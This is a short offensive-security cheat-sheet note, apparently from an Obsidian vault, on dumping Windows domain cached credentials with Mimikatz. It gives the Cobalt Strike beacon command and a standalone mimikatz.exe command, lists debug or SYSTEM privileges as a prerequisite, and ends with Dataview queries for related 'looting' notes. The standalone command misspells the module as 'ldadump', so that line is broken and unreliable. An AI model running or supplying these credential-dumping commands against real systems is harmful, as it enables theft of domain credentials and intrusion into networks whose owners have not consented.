Dump Domain Cached Credentials

Dump Domain Cached Credentials using MimiKatz

Prerequisites

• Debug Privileges Obtained (ex: NT_AUTHORITY/SYSTEM)

With Cobalt Strike beacon> mimikatz !lsadump::cache

Without Cobalt Strike

mimikatz.exe "privilege::debug" "ldadump::cache"

Related

Related Notes

All Related Notes

1>>TABLE file.ctime as “Created”, tags as “Tags”

FROM “New Notes” WHERE contains(tags, “windows”) OR contains(tags, “active-directory”) OR contains(tags, “looting”) SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

looting

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "looting")
SORT file.ctime DESC